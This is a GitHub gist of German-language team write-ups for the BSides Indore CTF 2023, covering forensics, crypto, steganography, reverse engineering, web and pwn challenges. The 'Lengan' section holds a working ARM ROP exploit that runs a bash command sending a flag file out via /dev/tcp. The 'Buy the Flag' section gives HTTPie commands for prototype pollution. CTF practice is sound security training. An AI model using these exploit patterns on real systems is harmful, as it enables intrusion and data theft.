Skip to content

Instantly share code, notes, and snippets.

@HanEmile
Created June 18, 2023 16:50
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save HanEmile/7d7c332be1e1576e6cab2e216241b725 to your computer and use it in GitHub Desktop.
Save HanEmile/7d7c332be1e1576e6cab2e216241b725 to your computer and use it in GitHub Desktop.
writeups for the bsides indor ctf 2023

CCCAC CTFriday

Access

Writeup format:

## $Challenge Name

Take notes here / Describe steps how to reproduce results.

Challenges

Template: :::success FLAG{Paste_The_Flag_Here!} :::

Can you WIN from EVT?

windows event log (security) durch gucken

Template: :::success FLAG{BSidesIndore{6_8/23/2022_10:56:09AM}} :::

Sanity check

Erste Nachricht im Discord.

:::success FLAG{BSidesIndore{mogaMb00_w3lcOmeS_y0u_to_CTF!!!}} :::

Operation Cipher Vault

Mit einem Buchstaben anfangen und immer einen mehr abschicken. Zu kurz -> Fehlermeldung, zu lang -> kryptischer Text, korrekte Länge -> Flag

:::success FLAG{BSidesIndore{br4v0_y0u_cr4ck3d_17}} :::

The Serialization Snafu

:::info The Serialization Snafu chall flag format: BSidesIndore{some hash looking value} :::

Beim Besuch der Seite wird exakt ein Cookie gesetzt:

name: profile value: eyJ1c2VybmFtZSI6IkFiaGluYW5kYW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0%3D

Ist URL-Base64 für:

{"username":"Abhinandan","country":"india","city":"bangalore"}


Den Cookie-Wert durch etwas zu ersetzen, das kein b64-url-encoded JSON ist, führt zu Stack Traces wie dieser:

SyntaxError: Unexpected end of JSON input
    at JSON.parse (<anonymous>)
    at exports.unserialize (/home/ctf-player/app/node_modules/node-serialize/lib/serialize.js:62:16)
    at /home/ctf-player/app/index.js:15:25
    at Layer.handle [as handle_request] (/home/ctf-player/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/home/ctf-player/app/node_modules/express/lib/router/route.js:144:13)
    at Route.dispatch (/home/ctf-player/app/node_modules/express/lib/router/route.js:114:3)
    at Layer.handle [as handle_request] (/home/ctf-player/app/node_modules/express/lib/router/layer.js:95:5)
    at /home/ctf-player/app/node_modules/express/lib/router/index.js:284:15
    at Function.process_params (/home/ctf-player/app/node_modules/express/lib/router/index.js:346:12)
    at next (/home/ctf-player/app/node_modules/express/lib/router/index.js:280:10)

Den Cookie-Wert durch ein b64-url-encoded JSON mit manipuliertem username zu ersetzen, führt nur zu anderem Namen im HTML. Land passt nicht zu Stadt hilft auch nicht.

Arbitrary Code Execution ist schon dokumentiert: luin/serialize#4 🤡

Challenge wurde aufgrund technischer Probleme zurückgezogen!

USB

Irgendein memdump...

Volatility Foundation Volatility Framework 2.6.1
Reading the USBSTOR Please Wait
Found USB Drive: 7&22ac07da&0
	Serial Number:	7&22ac07da&0
	Vendor:	USB
	Product:	Flash_DIsk
	Revision:	1100
	ClassGUID:	Flash_DIsk

	ContainerID:	{58701419-2125-11ed-8de2-50eb71124999}
	Mounted Volume:	\??\Volume{5870141d-2125-11ed-8de2-50eb71124999}
	Drive Letter:	\DosDevices\E:
	Friendly Name:	USB Flash DIsk USB Device
	USB Name:	Unknown
	Device Last Connected:	Unknown

	Class:	DiskDrive
	Service:	disk
	DeviceDesc:	@disk.inf,%disk_devdesc%;Disk drive
	Capabilities:	0
	Mfg:	@disk.inf,%genmanufacturer%;(Standard disk drives)
	ConfigFlags:	0
	Driver:	{4d36e967-e325-11ce-bfc1-08002be10318}\0001
	Compatible IDs:
		USBSTOR\Disk
		USBSTOR\RAW
		
		
	HardwareID:
		USBSTOR\DiskUSB_____Flash_DIsk______1100
		USBSTOR\DiskUSB_____Flash_DIsk______
		USBSTOR\DiskUSB_____
		USBSTOR\USB_____Flash_DIsk______1
		USB_____Flash_DIsk______1
		USBSTOR\GenDisk
		GenDisk
		
		
Windows Portable Devices
	--
	FriendlyName:	CROWDSEC
	Serial Number:	7&22AC07DA&0
	Last Write Time:	2022-08-21 07:56:05 UTC+0000

solved

DiffieHellman

Extrems ineffiziente (aka nicht in Lebzeiten durchlaufbar) angeblich DiffieHellman - mal prüfen ob das überhaupt tatsächlich DiffieHellman macht.

compose_f() macht ungefähr pow(), aber auch nicht richtig. Mit durch pow() ersetzen schlägt das assert fehl. a und b werden wärend f() sowohl in g als auch in A bzw. B eingesetzt. g ist sehr sicher kein primitive root.

compose_f(z, n) = loop n-mal: z=f(z); f=(a * z + b) % p
z, a, b, p known, n secret to be known
compose_f(z, 1) = (a*z+b)%p
compose_f(z, 2) = (a^2*z+a*b+b)%p
compose_f(z, 3) = (a^3*z+a^2*b+a*b+b)%p = (a^3*z + b*(a^2+a+1))%p
compose_f(z, 4) = (a^4*z + b*(a^3+a^2+a+1))%p
Frage: geschlossene form für compose_f()?

$a^n\cdot z\ mod\ p + (\sum_{k=0}^{n}a^{k})mod\ p$

$(n-1)\cdot \sum_{i=0}^k n^i = n^{k+1}-1$ $\sum_{k=0}^{n}a^{k} = \frac{a^{n+1}-1}{a-1}$

Geschlossene Form: $\text{compose_f}(z,n,p) = (a^n\cdot z+b\cdot \frac{a^n-1}{a-1})mod\ p$

Python:

# performed für große Zahlen schlecht
def compose_f(z, n):
    return (pow(a,n,p)*z+b*(pow(a,n)-1)//(a-1))%p

Bringt uns das jetzt was? :D

Diverse Termumformungen sind bisher zu keinem Ergebniss gekommen...

Kommentar rep: funktioniert zumindest damit zu rechnen, aehnlich extended euklid

def compose_addend(n):
    out = b
    n=int(n/2)
    while n:
        out = (out * (pow(a, n, p) +1)) % p
        n=int(n/2)
    return out
def compose_ff(z, n):
    if n == 0: return z
    nextlowerpower = 2**math.floor(math.log(n, 2))
    rest = n % nextlowerpower
    return (pow(a, nextlowerpower, p) * compose_ff(z, rest) + compose_addend(nextlowerpower)) % p

habs aber trotzdem nicht geschafft.... :/

Baby Pwn

Buffer Overflow - No PIE

tl;dr: https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html

Lengan

Buffer overflow, but all fps are closed before return

#!/usr/bin/env python3

import socket
import struct

def rop(addr):
    return struct.pack("<I", addr)

HOST = "127.0.0.1"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, 2222))

r = s.recv(1024)
print(r)
input("Press key")

payload = b"A"*32 + b"B"*4

#0x00047918 : mov r2, r8 ; blx r3

ropchain = rop(0x17964+1)   #mov r0, r8
ropchain += b"A"*0x34   #add sp, sp, 0x34
ropchain += b"B"*4      #r4
ropchain += b"C"*4      #r5
ropchain += b"D"*4      #r6
ropchain += b"E"*4      #r7
ropchain += b"F"*4      #r8
ropchain += b"G"*4      #r9


ropchain += rop(0x00044070+1)   #pc    pop {r1, r2, r4, pc}
ropchain += rop(2)              #r1    O_RDWR
ropchain += b"B"*4              #r2
ropchain += b"B"*4              #r4
ropchain += b"Z"*4              #pc

payload += ropchain + (368-len(ropchain))*b"Z" + b"/dev/tty\0"

s.sendall(payload)

Working ROP chain with remote code execution and connection to server. This solved the challenge

#!/usr/bin/env python3
from pwn import *

context.binary = "./main_fixed"

# rops
rop_mov_r0_r6_t_adr = 0x00010d2c  # ; mov r0,r6 / pop {r4, r5, r6, pc}
rop_add_r0_r4_t_adr = 0x0001fd74  # ; add r0, r4 / pop {r4, pc}

rop_pop_lr_t_adr = 0x00045f5a  # ; pop.w {r4, lr} / nop.w / pop {r4, pc}

rop_ror_r0_t_adr = 0x0001db28  # ; rors r0, r6 / bx r3
rop_mov_r1_r0_t_adr = 0x0001eb0e  # ; movs r1, r0 / bx lr
rop_add_r1_r3_b_t_adr = 0x0003de3e  # add r1, r3 / blx r1
rop_set_r3_t_adr = 0x00014c28  # ; pop {r3, pc}

rop_system_t_adr = 0x00014c10  # system
rop_exit_t_adr = 0x00014358  # exit fkt

location_bin_sh = 0x0004b004  # string "/bin/sh"
location_date = 0x0004ab60  # string "date +'%s'"

def build_add_r0_r4_t(r4=0):
    payload = p32(rop_add_r0_r4_t_adr + 1)
    payload += p32(r4)
    return payload

def build_lr(lr, r4=0):
    payload = p32(rop_pop_lr_t_adr + 1)
    payload += p32(0) + p32(lr) + p32(r4)
    return payload

def build_mov_r0_r6_t(r4=0, r5=0, r6=0):
    payload = p32(rop_mov_r0_r6_t_adr + 1)
    payload += p32(r4) + p32(r5) + p32(r6)
    return payload


# config of command
addr, port = ("localhost", 8337)  # our server
cmd = "cat /home/ctf/flag.txt"
cmd_net_wrap = f"bash -c \"{cmd} >/dev/tcp/{addr}/{port}\""
print("cmd:", cmd_net_wrap)
cmd_net_wrap = cmd_net_wrap.encode("ascii")

# build payload
# all instructinos here have a +1 as that indicates thumb mode for
# arm. It does seem that switching to thumb requires special instructions,
# but switching out of it is possible with write to $pc
def build_payload():
    # padding until pc
    payload = b"0" * 0x20
    payload += b"1" * 4  # r7

    # move r6 to r0 and set r4 with r6
    #  - r6 contains a reachable offset on the stack from our $sp
    #  - r6 is used for right shift
    #  - r4 is an arbitrary offset to allow more rop stack until our "data" section
    payload += build_mov_r0_r6_t(r4=40, r6=8)
    # move our "data" section by r4 steps on the stack
    payload += build_add_r0_r4_t()


    # this is so cursed, the idea is to have the application fail with
    # a signal (e.g. illegial instruction) when the system call didn't exit with
    # a zero return code. In case system was successful we shutdown gracefully.

    # as system is stack canary protected, we can't call into it.
    # As such we need to conform to arm calling convetion and set the lr register appropriately
    payload += build_lr(rop_set_r3_t_adr + 1)
    # input of system() is the command. See below
    payload += p32(rop_system_t_adr + 1)

    payload += p32(rop_set_r3_t_adr + 1)
    payload += p32(rop_ror_r0_t_adr + 1)
    payload += p32(rop_exit_t_adr + 1)
    payload += p32(rop_pop_lr_t_adr + 1)
    payload += p32(0) + p32(rop_add_r1_r3_b_t_adr + 1) + p32(0)
    payload += p32(rop_mov_r1_r0_t_adr + 1)

    # Order of execution
    # 1. rop_system_t_adr
    # 2. rop_set_r3_t_adr
    #   - set r3 to rop_set_r3_t_adr
    # 3. rop_ror_r0_t_adr
    #   - r0 >> 8
    #   - jmp to r3
    # 3. rop_set_r3_t_adr
    #   - set r3 to rop_exit_t_adr  (graceful shutdown)
    # 4. rop_pop_lr_t_adr
    #   - set lr register to rop_add_r1_r3_b_t_adr
    # 5. rop_mov_r1_r0_t_adr
    #   - set r1 to r0[our exit code]
    # 6. rop_add_r1_r3_b_t_adr
    #   - add r1 to r3
    #   - jump to r3
    #       -> if r0 = 0: r3 = rop_exit_t_adr
    #       -> if r0 != 0: r3 will be bricked
    #
    # this is ofc not a perfect solution, but it works for most errors

    print(len(payload))  # just a small bounds check

    # fill the remaining space so that our command is put into it correctly
    payload += b"0" * ((40 + 40) - (len(payload) - 0x20))
    payload += cmd_net_wrap + b"\x00"  # command as null terminated string

    print(f"Payload Length: {len(payload)}")
    # our rop stack cannot be to large, as we will overwrite important
    # data that is needed for system call (i.e. dump of env variables).
    # The address is 340 bytes from our initial $sp
    assert(len(payload) < 340)
    return payload

payload = build_payload()

with open("/local-tmp/payload", "bw") as fp:
    fp.write(payload)

if True:
    r = remote("34.125.56.151", 2222, ssl=False)
    r.sendline(payload)
    r.interactive()
    exit()

#io = gdb.debug(context.binary.path, gdbscript="""
#source /home/elizabeth/Documents/Projects/ccc/ctfriday-bsidesindore23/pwndbg/gdbinit.py
#b *0x00021dac
#b *0x010488
#b *0x00014c10
#c
#""")
io = process(context.binary.path)
io.sendline(payload)
io.interactive()

execute it with to gain shell

main 2>&1 < payload

Flag Generator

Decompilen mit Ghidra, bennennen von Stuff, Types assignen, etc.

Gibt alle 5s nen String aus in der Richtung von "go away" (genauer String ist random).

Flag liegt mit nem key ge-XOR-ed in .data bei Adresse 0x001043c0 / .data + 0x3c0. Der Key wird aus der Determinante einer 15x15-int-Matrix abgeleitet. Die Berechnung der Determinante ist allerings Broken (Matrix wird ohne reservierten Platz auf dem Stack abgelegt und dann überschrieben).

Die Matrix kann man sich aus dem Speicher kopieren, bei Adresse 0x00104020 als unsigned int-Array.

Daraus kann man sich den Key generieren. Die Original-Funktion dafür liegt im Binary bei 0x001015bc. Ghidra-Dekompilat:

void decrypt_flag(ulong matrix_determinant)

{
  long in_FS_OFFSET;
  uint i;
  uint key [6];
  long stack_canary;
  
  stack_canary = *(long *)(in_FS_OFFSET + 0x28);
  key[5] = (uint)(matrix_determinant & 0xff000000ff);
  key[4] = (uint)(matrix_determinant >> 8) & 0xff;
  key[3] = (uint)(matrix_determinant >> 0x10) & 0xff;
  key[2] = (uint)(matrix_determinant >> 0x18) & 0xff;
  key[1] = (uint)((matrix_determinant & 0xff000000ff) >> 0x20);
  key[0] = (uint)((long)matrix_determinant >> 0x28) & 0xff;
  for (i = 0; i < 33; i = i + 1) {
    putchar(key[(int)i % 6] ^ (&ENCRYPTED_FLAG)[(int)i]);
  }
  putchar(L'\n');
  if (stack_canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Wir haben den gesamten Algorithmus in Python neu implementiert:

Python-Script:

import numpy as np
from ctypes import c_uint64, c_int32, cast, POINTER

raw_matrix = [3,9,2,9,8,6,9,7,7,4,0,2,2,8,9,3,2,8,1,6,0,6,3,2,5,7,4,9,0,3,7,1,0,3,5,9,1,4,6,8,5,0,7,1,8,8,1,3,9,2,5,2,7,0,9,8,3,7,3,0,6,2,0,5,3,6,7,6,3,6,1,1,5,5,9,6,3,0,3,9,1,7,0,4,7,1,2,4,4,2,1,4,7,8,6,6,4,1,9,5,4,3,4,4,2,9,1,9,4,0,3,7,8,3,3,3,1,5,9,5,4,3,2,0,8,4,4,8,2,1,9,8,1,6,9,6,2,0,9,4,8,9,8,9,2,5,8,6,5,4,0,2,0,7,4,4,4,3,9,8,3,5,7,3,7,9,5,0,2,2,3,4,6,5,9,9,7,6,8,8,5,7,6,7,3,9,2,0,7,2,5,3,2,1,5,3,7,1,8,8,2,2,2,6,9,0,4,8,4,4,0,0,3,1,9,4,2,2,5,2,0,2,4,7,6]


matrix = np.array(raw_matrix, dtype=np.uint64)
matrix = np.reshape(matrix, (15, 15))

print(matrix)

matrix_determinant = cast(
    cast((c_uint64 * 1)(int(np.linalg.det(matrix))), POINTER(c_int32)),
    POINTER(c_uint64),
).contents.value
print(matrix_determinant)

key = [0] * 6

ENCRYPTED_FLAG = bytes.fromhex(
    "7d 00 00 00 9c 00 00 00 73 00 00 00 b4 00 00 00 0c 00 00 00 8e 00 00 00 4e 00 00 00 99 00 00 00 71 00 00 00 e0 00 00 00 0b 00 00 00 9e 00 00 00 63 00 00 00 d8 00 00 00 75 00 00 00 ef 00 00 00 50 00 00 00 a3 00 00 00 20 00 00 00 de 00 00 00 42 00 00 00 f4 00 00 00 4d 00 00 00 8c 00 00 00 22 00 00 00 df 00 00 00 42 00 00 00 e1 00 00 00 4d 00 00 00 92 00 00 00 30 00 00 00 8c 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
)

key[5] = matrix_determinant & 0xFF000000FF
key[4] = (matrix_determinant >> 8) & 0xFF
key[3] = (matrix_determinant >> 0x10) & 0xFF
key[2] = (matrix_determinant >> 0x18) & 0xFF
key[1] = (matrix_determinant & 0xFF000000FF) >> 0x20
key[0] = (matrix_determinant >> 0x28) & 0xFF

print("BSidesIndore{", end="")
for i in range(33):
    print(chr((key[i % 6] ^ ENCRYPTED_FLAG[i * 4]) & 0xFF), end="")
print("}")

:::success BSidesIndore{l1n34r_4lg3bruhhh_1s_sup3r_fun!!!} :::

Inverse

base = Decimal('1.582865...')
mod  = Decimal('2.622057...')

new_base = (base * n + small_noise()) % mod
new_base == Decimal('-0.8476...')
  • wir müssen n finden (key für AES)
  • da new_base negativ ist, muss $small_noise() &lt; -(base * n)$ sein
  • n ist ein großer (16 byte urandom) integer $0 &lt; n &lt; 340282366920938463463374607431768211455$
  • base, mod, und new_base sind bekannt und sind python decimals
  • % ist leicht anders als bei integern/floats (bzgl Vorzeichen)
  • die decimal precision is mindestens auf 298 gesetzt (getcontext().prec = 298)
  • es wird AES ECB benutzt, das ist aber vermutlich™ nicht relevant (keine doppelten blöcke)
  • name der challenge vermutlich ein hint?

Airport

In der change_name() func:

das strncpy bei 0x00001d3a schreibt den neuen namen und überschreibt dabei den alten namen und zwar wie folgt: strcpy(old_name, new_name, new_length), das dritte argument sollte aber old_length sein. Damit können wir, wenn wir einen neuen namen geben, den alten überschreiben und dahinter noch eventuell nen bissl memory corrupten

Die dekompilierte Funktion (renamed vars) sieht so aus:

pwntools draft (ich habe nicht so richtig ahnung was ich tue):

https://termbin.com/o69h

airport[i]:

names:

valgrind tests:

        ┌──(user㉿kali)-[~/Downloads]
        └─$ valgrind ./airport_system
        ==84032== Memcheck, a memory error detector
        ==84032== Copyright (C) 2002-2022, and GNU GPL'd, by Julian Seward et al.
        ==84032== Using Valgrind-3.19.0 and LibVEX; rerun with -h for copyright info
        ==84032== Command: ./airport_system
        ==84032==
        <<<<<<<<<< CJ Airport System >>>>>>>>>>
        1) Add airport
        2) Add connection
        3) Change airport name
        4) Lockdown
        5) List of available airport
        6) List of connections
        7) Exit
        Choice: 1
        Airport name:
        a
        1) Add airport
        2) Add connection
        3) Change airport name
        4) Lockdown
        5) List of available airport
        6) List of connections
        7) Exit
        Choice: 3
        Airport name:
        a
        Airport new name:
        aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
        ==84032== Invalid read of size 1
        ==84032==    at 0x4847698: strcmp (vg_replace_strmem.c:924)
        ==84032==    by 0x109CF8: change_name() (airport_system.cpp:82)
        ==84032==    by 0x10AA4C: menu() (airport_system.cpp:185)
        ==84032==    by 0x10AAAD: main (airport_system.cpp:200)
        ==84032==  Address 0x4d78151 is 0 bytes after a block of size 1 alloc'd
        ==84032==    at 0x48407B4: malloc (vg_replace_malloc.c:381)
        ==84032==    by 0x10A773: add_airport() (airport_system.cpp:160)
        ==84032==    by 0x10AA28: menu() (airport_system.cpp:181)
        ==84032==    by 0x10AAAD: main (airport_system.cpp:200)
        ==84032==
        ==84032== Invalid write of size 1
        ==84032==    at 0x4846A78: strncpy (vg_replace_strmem.c:599)
        ==84032==    by 0x109D3E: change_name() (airport_system.cpp:83)
        ==84032==    by 0x10AA4C: menu() (airport_system.cpp:185)
        ==84032==    by 0x10AAAD: main (airport_system.cpp:200)
        ==84032==  Address 0x4d78151 is 0 bytes after a block of size 1 alloc'd
        ==84032==    at 0x48407B4: malloc (vg_replace_malloc.c:381)
        ==84032==    by 0x10A773: add_airport() (airport_system.cpp:160)
        ==84032==    by 0x10AA28: menu() (airport_system.cpp:181)
        ==84032==    by 0x10AAAD: main (airport_system.cpp:200)
        ==84032==

Hide and Seek

Given image:

Has more data than image height:

  1. BSidesIndore{H3y

Forensically's noise analysis shows a sus grid pattern (possibly just JPEG artefacts?):

Get RGB LSBs:

from PIL import Image

img = Image.open('orig.png')
p = img.load()

for row in range(img.height):
  for col in range(img.width):
    r,g,b,a = p[col,row]
    print(r % 2, end='')
    print(g % 2, end='')
    print(b % 2, end='')
0110010101010100010000100011000101011000001100100101100101110111011001000101011100110101011010110101100000110010001100000111101001001001010100110100010101101000010010010101001101000101011010000100100101010011010001010110100001001001010110000011000011100101001111101100100000000100101101010101010000001111111011000000000101000010000001001000101001101000111001000100100000000000000001100011110100100000...

Cybershef from binary + from base64:

y0u_f0und_m3!!!!!!!!!!}���

:::success BSidesIndore{H3y_y0u_f0und_m3!!!!!!!!!!} :::

Buy the Flag

In der einen index.js haben sie == statt === genutzt (sie haben überall sonst === genutzt, das fällt schon hart auf).

    if (credential.cookie == receivedCookie) {

https://hackerone.com/reports/430831

index.js:58

Achtung: es gibt isLogedin und isLoggedin!


  • Die currency exchange Seite ist eine Ablenkung ohne Funktionalität.

  • Die Accountdaten auf der Profilseite sind hardcoded, eine Profilzuordnung passiert (soweit ich bisher sehe) nicht.

In der index.js findet sich diese Zeile:

const credentials = [
    '{"username":"manager", "password": "' + crypto.randomBytes(64).toString("hex") + '", "cookie": "' + crypto.randomBytes(64).toString("hex") + '", "manager":true}',
    '{"username":"accountant", "password":"accountant", "cookie": "' + crypto.randomBytes(64).toString("hex") + '"}'
];

Auffällig daran ist, dass die Cookies nicht nach erfolgreichem Login generiert werden, sondern im Voraus für beide Benutzer ein unterschiedlicher.

  • Die Funktion verifyLogin gibt true zurück, solange der Cookie "token" einen Wert hat, ist also de facto kein Hindernis.

  • Die Funktion verifyCookie gibt true zurück, solange der Cookie "token" mit irgendeinem Benutzer übereinstimmt.

  • Die Funktion verifyManager gibt dann, wenn der Cookie "token" mit dem eines Benutzers übereinstimmt, [credentials.manager, credentials.id] zurück, andernfalls false. credentials.manager ist im gegebenen Code gesetzt, credentials.id hingegen nicht.

Für die Challenge wichtig ist verifyManager. Es muss ein POST-Request mit id=credentials.id an die Route /buy-flag gesendet werden.

router.post("/buy-flag", urlencodedParser, async (req, res) => {
    var isLoggedin = verifyLogin(req);

    if (isLoggedin) {
        // ID aus Request Body
        const id = req.body.id;
        if (!id) {
            return res.status(400).json({ error: "Invalid ID" });
        }
        // verifyManager[0] muss truthy sein
        if (verifyManager(req.cookies.token)[0]) {
            // ID muss mit der ID der Manager-Credentials übereinstimmen. Actung: == könnte relevant sein!
            if (verifyManager(req.cookies.token)[1] && id == verifyManager(req.cookies.token)[1]) {
                res.json({ flag: "BSidesIndore{fake_flag}" });
            } else {
                res.send("<script>alert('Invalid ID!')</script>");
            }
        } else {
            res.send("<script>alert('Only Manager can perform this action!')</script>");
        }
    } else {
        securityIncident(req.body, isLoggedin);
        return res.status(403).json({ error: "Unauthorized Action" });
    }
});

Beim Benutzer "accountant", dessen Passwort wir kennen, ist das Attribut "manager" in den credentials (s.o.) nicht definiert.

Mithilfe der Prototype Pollution von .extend() (s.o.) können wir die notwendigen Attribute {"manager": true, "id": TBD} auf allen Objekten setzen.

Das Attribut manager wird als erstes Element des Arrays von verifyManager() zurückgegeben, das Attribut id als zweites. Wir müssen also dafür sorgen, dass manager truthy ist und id == req.body.id.

mit HTTPie:

# Aktuellen `cookie` von `accountant` herausfinden: 
http -v POST http://35.232.108.81/signin username=accountant password=accountant
# zurückgegebenen Cookie `token` kopieren
# Ohne Login/Cookie, damit die Prototype Pollution funktioniert:
http POST http://35.232.108.81/buy-flag __proto__:='{"manager": true, "id": 5}'
# accountant ist jetzt manager, wenn die id passt:
http POST http://35.232.108.81/buy-flag id:="5" Cookie:token=<token>

:::success BSidesIndore{P0LLUT10N_1$_3V3RYWH3R3} :::

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment